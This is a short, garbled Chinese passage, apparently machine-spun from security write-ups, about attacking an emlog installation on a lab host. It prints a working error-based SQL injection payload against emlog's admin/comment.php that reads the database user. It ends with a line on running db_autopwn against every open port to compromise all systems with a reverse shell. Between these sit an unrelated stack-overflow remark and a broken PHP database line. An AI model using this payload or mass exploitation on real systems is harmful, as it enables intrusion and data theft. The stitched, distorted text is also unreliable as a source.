交际官员 必须先存在一个已知的stack overflow的缝隙，而且进犯者知道怎么触发这个缝隙；方针网址：www.test.ichunqiu[172.16.12.2]ps：www.test.comwww.test.ichunqiu都是能够的/emlog/admin/comment.php?action=delbyip&token=abac6e12c2abe9b29797b64481ef6ed4&ip=127.0.0.1′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))# 注入时得进行编码处理才干成功，当然各位师傅的骚操作比我多。 $db = new mysqli('localhost', 'demo', ‘demo', ‘demodemo');

对一切发现的敞开端口履行db_autopwn，进犯一切体系，并运用一个反弹式shell。